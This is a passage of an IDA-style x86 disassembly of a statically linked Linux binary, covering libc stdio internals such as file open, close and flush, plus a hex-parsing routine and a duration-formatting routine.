; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060754:				; CODE XREF: sub_8060630+95j
		mov	eax, offset aInsecure2 ; "insecure2"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060760:				; CODE XREF: sub_8060630+2Aj
					; sub_8060630+42j ...
		push	eax
		push	offset a?0xLx?	; "?0x%lx?"
		push	offset unk_807E400
		call	sprintf
		mov	eax, offset unk_807E400
		mov	esp, ebp
		pop	ebp
		retn
sub_8060630	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806077C	proc near		; CODE XREF: sub_805F7E4+43Fp
					; sub_805F7E4+460p ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_80607B4
		mov	eax, ds:dword_806992F
		mov	ds:dword_807E428, eax
		mov	ax, ds:word_8069933
		mov	ds:word_807E42C, ax
		mov	al, ds:byte_8069935
		mov	ds:byte_807E42E, al
		jmp	loc_80608B8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80607B4:				; CODE XREF: sub_806077C+Ej
		mov	ecx, 3Ch
		xor	edx, edx
		div	ecx
		mov	[ebp+var_4], edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_8], edx
		mov	ecx, 18h
		xor	edx, edx
		div	ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, offset dword_807E428
		test	esi, esi
		jz	short loc_8060802
		mov	eax, offset unk_8069937
		cmp	esi, 1
		jnz	short loc_80607EC
		mov	eax, offset unk_8069936

loc_80607EC:				; CODE XREF: sub_806077C+69j
		push	eax
		push	esi
		push	offset aDDayS	; "%d day%s"
		push	ebx
		call	sprintf
		add	esp, 10h

loc_80607FC:				; CODE XREF: sub_806077C+84j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80607FC

loc_8060802:				; CODE XREF: sub_806077C+5Fj
		test	edi, edi
		jz	short loc_8060836
		test	esi, esi
		jz	short loc_806080E
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_806080E:				; CODE XREF: sub_806077C+8Cj
		mov	eax, offset unk_8069937
		cmp	edi, 1
		jnz	short loc_806081D
		mov	eax, offset unk_8069936

loc_806081D:				; CODE XREF: sub_806077C+9Aj
		push	eax
		push	edi
		push	offset aDHourS	; "%d hour%s"
		push	ebx
		call	sprintf
		add	esp, 10h
		lea	esi, [esi+0]

loc_8060830:				; CODE XREF: sub_806077C+B8j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_8060830

loc_8060836:				; CODE XREF: sub_806077C+88j
		cmp	[ebp+var_8], 0
		jz	short loc_8060872
		test	esi, esi
		jnz	short loc_8060844
		test	edi, edi
		jz	short loc_8060848

loc_8060844:				; CODE XREF: sub_806077C+C2j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_8060848:				; CODE XREF: sub_806077C+C6j
		mov	eax, offset unk_8069937
		cmp	[ebp+var_8], 1
		jnz	short loc_8060858
		mov	eax, offset unk_8069936

loc_8060858:				; CODE XREF: sub_806077C+D5j
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		push	offset aDMinS	; "%d min%s"
		push	ebx
		call	sprintf
		add	esp, 10h
		nop

loc_806086C:				; CODE XREF: sub_806077C+F4j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_806086C

loc_8060872:				; CODE XREF: sub_806077C+BEj
		cmp	[ebp+var_4], 0
		jnz	short loc_8060886
		test	esi, esi
		jnz	short loc_80608B8
		test	edi, edi
		jnz	short loc_80608B8
		cmp	[ebp+var_8], 0
		jnz	short loc_80608B8

loc_8060886:				; CODE XREF: sub_806077C+FAj
		test	esi, esi
		jnz	short loc_8060894
		test	edi, edi
		jnz	short loc_8060894
		cmp	[ebp+var_8], 0
		jz	short loc_8060898

loc_8060894:				; CODE XREF: sub_806077C+10Cj
					; sub_806077C+110j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_8060898:				; CODE XREF: sub_806077C+116j
		mov	eax, offset unk_8069937
		cmp	[ebp+var_4], 1
		jnz	short loc_80608A8
		mov	eax, offset unk_8069936

loc_80608A8:				; CODE XREF: sub_806077C+125j
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		push	offset aDSecS	; "%d sec%s"
		push	ebx
		call	sprintf

loc_80608B8:				; CODE XREF: sub_806077C+32j
					; sub_806077C+FEj ...
		mov	eax, offset dword_807E428
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806077C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000220 BYTES: COLLAPSED FUNCTION res_mkquery. PRESS KEYPAD	"+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060AE8	proc near		; CODE XREF: .text:08060B7Dp
					; .text:08060BA9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-30h]
		cmp	eax, 9
		ja	short loc_8060B04
		mov	al, dl
		add	al, 0D0h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060B04:				; CODE XREF: sub_8060AE8+Cj
		mov	al, dl
		add	al, 0C9h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8060AE8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	edi, [ebp+0Ch]
		xor	esi, esi
		jmp	loc_8060BBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060B2C:				; CODE XREF: .text:08060BC4j
		cmp	[ebp+10h], esi
		jbe	loc_8060BCA
		cmp	dl, 2Eh
		jz	loc_8060BBF
		cmp	dl, 2Bh
		jz	short loc_8060BBF
		cmp	dl, 2Fh
		jz	short loc_8060BBF
		test	dl, dl
		jge	short loc_8060B50

loc_8060B4C:				; CODE XREF: .text:08060B7Aj
					; .text:08060B8Dj ...
		xor	eax, eax
		jmp	short loc_8060BCC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060B50:				; CODE XREF: .text:08060B4Aj
		movzx	ecx, dl
		mov	[ebp-8], ecx
		mov	eax, dword_8078FA0
		test	byte ptr [eax+ecx*2+1],	2
		jz	short loc_8060B6A
		mov	eax, dword_8078FA8
		mov	dl, [eax+ecx*4]

loc_8060B6A:				; CODE XREF: .text:08060B60j
		and	edx, 0FFh
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_8060B4C
		push	edx
		call	sub_8060AE8
		mov	[ebp-4], al
		mov	dl, [ebx]
		add	esp, 4
		inc	ebx
		test	dl, dl
		jz	short loc_8060B4C
		movzx	eax, dl
		mov	edx, dword_8078FA8
		movzx	edx, byte ptr [edx+eax*4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_8060B4C
		push	edx
		call	sub_8060AE8
		mov	dl, al
		mov	al, [ebp-4]
		shl	al, 4
		or	al, dl
		mov	[edi], al
		inc	edi
		inc	esi
		add	esp, 4

loc_8060BBF:				; CODE XREF: .text:08060B25j
					; .text:08060B38j ...
		mov	dl, [ebx]
		inc	ebx
		test	dl, dl
		jnz	loc_8060B2C

loc_8060BCA:				; CODE XREF: .text:08060B2Fj
		mov	eax, esi

loc_8060BCC:				; CODE XREF: .text:08060B4Ej
		lea	esp, [ebp-14h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000014B BYTES: COLLAPSED FUNCTION inet_nsap_ntoa. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060D24	proc near		; CODE XREF: _IO_fopen+30p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+40h], 0FFFFFFFFh
		or	dword ptr [eax], 240Ch
		push	eax
		call	_IO_link_in
		mov	esp, ebp
		pop	ebp
		retn
sub_8060D24	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060D44	proc near		; CODE XREF: _IO_fclose+33p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+38h], 0
		jge	short loc_8060D5C
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8060DD0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060D5C:				; CODE XREF: sub_8060D44+Dj
		push	ebx
		call	sub_8061210
		mov	edi, eax
		push	ebx
		call	sub_8062368
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+84h]
		call	eax
		mov	esi, eax
		push	0
		push	0
		push	0
		push	ebx
		call	sub_8061B6C
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+14h], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+18h], 0
		push	ebx
		call	_IO_un_link
		mov	dword ptr [ebx], 0FBAD240Ch
		mov	dword ptr [ebx+38h], 0FFFFFFFFh
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		mov	eax, esi
		test	eax, eax
		jnz	short loc_8060DD0
		mov	eax, edi

loc_8060DD0:				; CODE XREF: sub_8060D44+14j
					; sub_8060D44+88j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060D44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		cmp	dword ptr [ebx+38h], 0
		jl	short loc_8060E11
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		test	byte ptr [ebx],	40h
		jnz	short loc_8060E11
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+84h]
		call	eax
		add	esp, 4

loc_8060E11:				; CODE XREF: .text:08060DE7j
					; .text:08060E00j
		push	ebx
		call	_IO_default_finish
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060E20	proc near		; CODE XREF: _IO_fopen+38p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [esi+38h], 0
		jge	short loc_8060E92
		movzx	eax, byte ptr [edx]
		inc	edx
		cmp	eax, 72h
		jz	short loc_8060E54
		jg	short loc_8060E4C
		cmp	eax, 61h
		jz	short loc_8060E74
		jmp	short loc_8060E88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E4C:				; CODE XREF: sub_8060E20+20j
		cmp	eax, 77h
		jz	short loc_8060E60
		jmp	short loc_8060E88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E54:				; CODE XREF: sub_8060E20+1Ej
		xor	eax, eax
		mov	ebx, 8
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E60:				; CODE XREF: sub_8060E20+2Fj
		mov	eax, 1
		mov	ecx, 240h
		mov	ebx, 4
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E74:				; CODE XREF: sub_8060E20+25j
		mov	eax, 1
		mov	ecx, 440h
		mov	ebx, 1004h
		jmp	short loc_8060E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E88:				; CODE XREF: sub_8060E20+27j
					; sub_8060E20+31j
		mov	errno, 16h

loc_8060E92:				; CODE XREF: sub_8060E20+15j
					; sub_8060E20+A6j ...
		xor	eax, eax
		jmp	short loc_8060F03
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060E98:				; CODE XREF: sub_8060E20+3Bj
					; sub_8060E20+4Fj ...
		cmp	byte ptr [edx],	2Bh
		jz	short loc_8060EA8
		cmp	byte ptr [edx],	62h
		jnz	short loc_8060EB3
		cmp	byte ptr [edx+1], 2Bh
		jnz	short loc_8060EB3

loc_8060EA8:				; CODE XREF: sub_8060E20+7Bj
		mov	eax, 2
		and	ebx, 1000h

loc_8060EB3:				; CODE XREF: sub_8060E20+80j
					; sub_8060E20+86j
		push	1B6h
		or	eax, ecx
		push	eax
		push	edi
		call	__libc_open
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8060E92
		mov	[esi+38h], eax
		mov	eax, [esi]
		and	eax, 0FFFFEFF3h
		or	eax, ebx
		mov	[esi], eax
		test	bh, 10h
		jz	short loc_8060EFB
		mov	eax, [esi+50h]
		push	3
		push	2
		push	0
		push	esi
		mov	eax, [eax+44h]
		call	eax
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8060EFB
		cmp	errno, 1Dh
		jnz	short loc_8060E92

loc_8060EFB:				; CODE XREF: sub_8060E20+B9j
					; sub_8060E20+D0j
		push	esi
		call	_IO_link_in
		mov	eax, esi

loc_8060F03:				; CODE XREF: sub_8060E20+74j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060E20	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebp+0Ch]
		cmp	dword ptr [ebx+38h], 0
		jge	short loc_8060F4D
		mov	[ebx+38h], eax
		and	dword ptr [ebx], 0FFFFFFF3h
		or	byte ptr [ebx],	40h
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		mov	eax, [ebx+50h]
		push	3
		push	1
		push	0
		push	ebx
		mov	eax, [eax+44h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8060F54
		cmp	errno, 1Dh
		jz	short loc_8060F54

loc_8060F4D:				; CODE XREF: .text:08060F1Ej
		xor	eax, eax
		jmp	short loc_8060F56
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060F54:				; CODE XREF: .text:08060F42j
					; .text:08060F4Bj
		mov	eax, ebx

loc_8060F56:				; CODE XREF: .text:08060F4Fj
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	eax
		push	edx
		push	ebx
		call	sub_8061E44
		test	eax, eax
		jz	short loc_8060F9C
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, ebx
		jmp	short loc_8060F9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060F9C:				; CODE XREF: .text:08060F77j
		xor	eax, eax

loc_8060F9E:				; CODE XREF: .text:08060F99j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060FA8	proc near		; CODE XREF: .text:08060DF5p
					; .text:080611A1p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jnz	short loc_8060FC0
		xor	eax, eax
		jmp	loc_8061061
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060FC0:				; CODE XREF: sub_8060FA8+Ej
		test	byte ptr [ebx+1], 10h
		jz	short loc_8060FD0
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		jmp	short loc_8060FF5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060FD0:				; CODE XREF: sub_8060FA8+1Cj
		mov	eax, [ebx+8]
		cmp	[ebx+10h], eax
		jz	short loc_8060FF5
		mov	eax, [ebx+50h]
		push	1
		mov	edx, [ebx+10h]
		sub	edx, [ebx+8]
		push	edx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_806105C
		mov	[ebx+40h], eax

loc_8060FF5:				; CODE XREF: sub_8060FA8+25j
					; sub_8060FA8+2Ej
		mov	eax, [ebx+50h]
		push	esi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		mov	eax, [eax+74h]
		call	eax
		mov	edi, eax
		add	esp, 0Ch
		cmp	word ptr [ebx+44h], 0
		jz	short loc_8061025
		push	esi
		mov	ecx, [ebp+arg_4]
		push	ecx
		movzx	eax, word ptr [ebx+44h]
		dec	eax
		push	eax
		call	sub_80620C8
		inc	ax
		mov	[ebx+44h], ax

loc_8061025:				; CODE XREF: sub_8060FA8+65j
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		test	dword ptr [ebx], 202h
		jz	short loc_8061050
		mov	eax, [ebx+1Ch]
		jmp	short loc_8061053
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061050:				; CODE XREF: sub_8060FA8+9Ej
		mov	eax, [ebx+20h]

loc_8061053:				; CODE XREF: sub_8060FA8+A3j
		mov	[ebx+18h], eax
		xor	eax, eax
		cmp	edi, esi
		jz	short loc_8061061

loc_806105C:				; CODE XREF: sub_8060FA8+48j
		mov	eax, 0FFFFFFFFh

loc_8061061:				; CODE XREF: sub_8060FA8+12j
					; sub_8060FA8+B2j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8060FA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000000AA BYTES: COLLAPSED FUNCTION _IO_file_underflow. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebp+0Ch]
		test	byte ptr [ebx],	8
		jnz	loc_80611F6
		test	byte ptr [ebx+1], 8
		jnz	short loc_8061190
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_8061153
		push	ebx
		call	sub_8061BB8
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		add	esp, 4

loc_8061153:				; CODE XREF: .text:08061136j
		mov	eax, [ebx+4]
		cmp	[ebx+20h], eax
		jnz	short loc_8061164
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	[ebx+8], eax

loc_8061164:				; CODE XREF: .text:08061159j
		mov	eax, [ebx+4]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+20h]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+4], eax
		mov	[ebx+0Ch], eax
		test	dword ptr [ebx], 202h
		jz	short loc_806118A
		mov	eax, [ebx+14h]
		mov	[ebx+18h], eax

loc_806118A:				; CODE XREF: .text:08061182j
		or	dword ptr [ebx], 800h

loc_8061190:				; CODE XREF: .text:08061130j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_80611A8
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		jmp	short loc_8061205
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80611A8:				; CODE XREF: .text:08061193j
		mov	eax, [ebx+14h]
		cmp	[ebx+20h], eax
		jnz	short loc_80611C6
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80611F6

loc_80611C6:				; CODE XREF: .text:080611AEj
		mov	eax, [ebx+14h]
		mov	edx, esi
		mov	[eax], dl
		inc	dword ptr [ebx+14h]
		test	byte ptr [ebx],	2
		jnz	short loc_80611E0
		test	byte ptr [ebx+1], 2
		jz	short loc_8061200
		cmp	esi, 0Ah
		jnz	short loc_8061200

loc_80611E0:				; CODE XREF: .text:080611D3j
		mov	eax, [ebx+14h]
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061200

loc_80611F6:				; CODE XREF: .text:08061126j
					; .text:080611C4j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8061205
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061200:				; CODE XREF: .text:080611D9j
					; .text:080611DEj ...
		mov	edx, esi
		movzx	eax, dl

loc_8061205:				; CODE XREF: .text:080611A6j
					; .text:080611FBj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8061210	proc near		; CODE XREF: sub_8060D44+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_8061234
		sub	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		push	ebx
		call	sub_8060FA8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_8061256

loc_8061234:				; CODE XREF: sub_8061210+Dj
		mov	edx, [ebx+4]
		sub	edx, [ebx+8]
		jz	short loc_8061266
		mov	eax, [ebx+50h]
		push	1
		push	edx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061260
		cmp	errno, 1Dh
		jz	short loc_8061266

loc_8061256:				; CODE XREF: sub_8061210+22j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_806126F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061260:				; CODE XREF: sub_8061210+3Bj
		mov	eax, [ebx+4]
		mov	[ebx+8], eax

loc_8061266:				; CODE XREF: sub_8061210+2Aj
					; sub_8061210+44j
		mov	dword ptr [ebx+40h], 0FFFFFFFFh
		xor	eax, eax

loc_806126F:				; CODE XREF: sub_8061210+4Bj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8061210	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_8061297
		mov	edi, 1
		xor	esi, esi

loc_8061297:				; CODE XREF: .text:0806128Ej
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jb	short loc_80612A5
		test	byte ptr [ebx+1], 8
		jz	short loc_80612B6

loc_80612A5:				; CODE XREF: .text:0806129Dj
		push	ebx
		call	sub_806186C
		add	esp, 4
		test	eax, eax
		jnz	loc_80613CA

loc_80612B6:				; CODE XREF: .text:080612A3j
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_80612E6
		push	ebx
		call	sub_8061BB8
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		add	esp, 4

loc_80612E6:				; CODE XREF: .text:080612BAj
		cmp	edi, 1
		jz	short loc_80612F4
		jle	short loc_806133E
		cmp	edi, 2
		jz	short loc_806130C
		jmp	short loc_806133E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80612F4:				; CODE XREF: .text:080612E9j
		mov	eax, [ebx+8]
		sub	eax, [ebx+4]
		sub	esi, eax
		cmp	dword ptr [ebx+40h], 0FFFFFFFFh
		jz	loc_806143C
		add	esi, [ebx+40h]
		jmp	short loc_806133C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806130C:				; CODE XREF: .text:080612F0j
		mov	eax, [ebx+50h]
		lea	edx, [ebp-40h]
		push	edx
		push	ebx
		mov	eax, [eax+8Ch]
		call	eax
		add	esp, 8
		test	eax, eax
		jnz	loc_806143C
		mov	ax, [ebp-38h]
		and	ax, 0F000h
		cmp	ax, 8000h
		jnz	loc_806143C
		add	esi, [ebp-2Ch]

loc_806133C:				; CODE XREF: .text:08061309j
		xor	edi, edi

loc_806133E:				; CODE XREF: .text:080612EBj
					; .text:080612F2j
		cmp	dword ptr [ebx+40h], 0FFFFFFFFh
		jz	short loc_806138C
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_806138C
		test	byte ptr [ebx+1], 1
		jnz	short loc_806138C
		mov	edx, esi
		sub	edx, [ebx+40h]
		mov	eax, [ebx+8]
		sub	eax, [ebx+0Ch]
		add	edx, eax
		js	short loc_806138C
		cmp	edx, eax
		jg	short loc_806138C
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		add	edx, [ebx+1Ch]
		mov	[ebx+4], edx
		mov	eax, [ebx+8]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, esi
		jmp	loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806138C:				; CODE XREF: .text:08061342j
					; .text:08061348j ...
		test	byte ptr [ebx],	4
		jnz	loc_806143C
		mov	edx, [ebx+20h]
		sub	edx, [ebx+1Ch]
		mov	eax, edx
		neg	eax
		and	eax, esi
		mov	[ebp-48h], eax
		mov	edi, esi
		sub	edi, eax
		cmp	edi, edx
		jle	short loc_80613B1
		mov	[ebp-48h], esi
		xor	edi, edi

loc_80613B1:				; CODE XREF: .text:080613AAj
		mov	eax, [ebx+50h]
		push	0
